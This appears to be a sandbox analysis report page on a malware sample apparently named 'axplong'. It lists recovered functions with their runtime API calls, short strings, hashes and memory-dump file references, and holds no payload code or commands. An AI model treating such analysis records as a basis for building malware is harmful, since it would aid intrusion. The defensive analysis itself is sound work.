Instruction Fuzzy Hash: 04B1F3329002859FDB15CF68C891FFEBBA6EF55360F1481AEE849EB341D6349D42CB64

Function 006ABAA2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 006ABAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 006ABB14
_xtime_get.LIBCPMT ref: 006ABB37
__Xtime_diff_to_millis2.LIBCPMT ref: 006ABB43

Strings

G1i, xrefs: 006ABB05, 006ABB28, 006ABADA

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID: G1i
API String ID: 531285432-2024250393
Opcode ID: 4b9393ba39b4622b0a2e5a41838da653837b2cb66903ee7fd1a5f644e1f74887
Instruction ID: 635c8928090f637271836f19d8d538a78d966801ce8b738f0ed230705b7f1222
Opcode Fuzzy Hash: 4b9393ba39b4622b0a2e5a41838da653837b2cb66903ee7fd1a5f644e1f74887
Instruction Fuzzy Hash: FD214F71E002099FDF10EFA4CC819BEBBBAEF09724F004069F601A7261DB70AD419FA5

Function 006C70C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 006C710B

Strings

.com, xrefs: 006C714B
.bat, xrefs: 006C713A
.cmd, xrefs: 006C7129
.exe, xrefs: 006C7118

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 6492c6efbda2ec4aee04313c53138eb1151667a653182abbabc75c427aecb168
Instruction ID: 7e69bf2f4367679d60f9e230ab372e33452614672db0dd282654a6171e37e8d3
Opcode Fuzzy Hash: 6492c6efbda2ec4aee04313c53138eb1151667a653182abbabc75c427aecb168
Instruction Fuzzy Hash: CF0108276083662616582419AC03FBF278FDB82BB471E002FF944FB7C1DE54DC0245D4

Function 00692E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00692F1F
__Mtx_unlock.LIBCPMT ref: 00692F8C
__Cnd_broadcast.LIBCPMT ref: 00692FA3
__Mtx_unlock.LIBCPMT ref: 006930B5
__Mtx_unlock.LIBCPMT ref: 0069315B

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 07fd697a1c16f1a3d28ac5d6d4951f4fc4fbde455238cf4e1d91f53b8e1a1247
Instruction ID: 062dc944c745227c04ff26a47b67028592800051411ef814c8ac34a2a35a2e84
Opcode Fuzzy Hash: 07fd697a1c16f1a3d28ac5d6d4951f4fc4fbde455238cf4e1d91f53b8e1a1247
Instruction Fuzzy Hash: 22A1A0B0A00216AFDF11EF64C9457AAB7AAFF16324F048129E815D7751EB31EE04CB91

Function 00692670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00692806
___std_exception_destroy.LIBVCRUNTIME ref: 006928A0

Strings

P#i, xrefs: 00692811
P#i, xrefs: 006927BE, 00692899

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#i$P#i
API String ID: 2970364248-1653140521
Opcode ID: 845ce036f706df7dcf59cb6bc75bfebe0a3fe2a0de1f1ee437db05cd3e635d50
Instruction ID: bbaa0547e3f4033abc1c43e62a7fb0a615c31ef94e11940718a4511c26183fa1
Opcode Fuzzy Hash: 845ce036f706df7dcf59cb6bc75bfebe0a3fe2a0de1f1ee437db05cd3e635d50
Instruction Fuzzy Hash: 25717F71E002499FDF04DFA8C891BEDBBBAEF59310F14411DE805AB741D774A984CBA5

Function 00693A80 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00693B53
__Cnd_destroy_in_situ.LIBCPMT ref: 00693B59
__Mtx_destroy_in_situ.LIBCPMT ref: 00693B62

Strings

pBi, xrefs: 00693AAE

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: pBi
API String ID: 3308344742-1569801529
Opcode ID: 8e6559679df6f2ada96ab51aa38e45a00138b7bb2621d432c2e721bc09860cac
Instruction ID: 65a2f07c0ab78cc090046bcc55f842be628a55192dadea7ac0becea8c0af7109
Opcode Fuzzy Hash: 8e6559679df6f2ada96ab51aa38e45a00138b7bb2621d432c2e721bc09860cac
Instruction Fuzzy Hash: 9B51D771A00B149FDB24DF28C845BAAB7EAEF05724F144A5DE456C7B91DB34AE00CB90

Function 006AC382 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 006AC428
__Xtime_diff_to_millis2.LIBCPMT ref: 006AC472
_xtime_get.LIBCPMT ref: 006AC491

Strings

y/i, xrefs: 006AC422, 006AC46B, 006AC48B, 006AC427, 006AC46E, 006AC490

Memory Dump Source

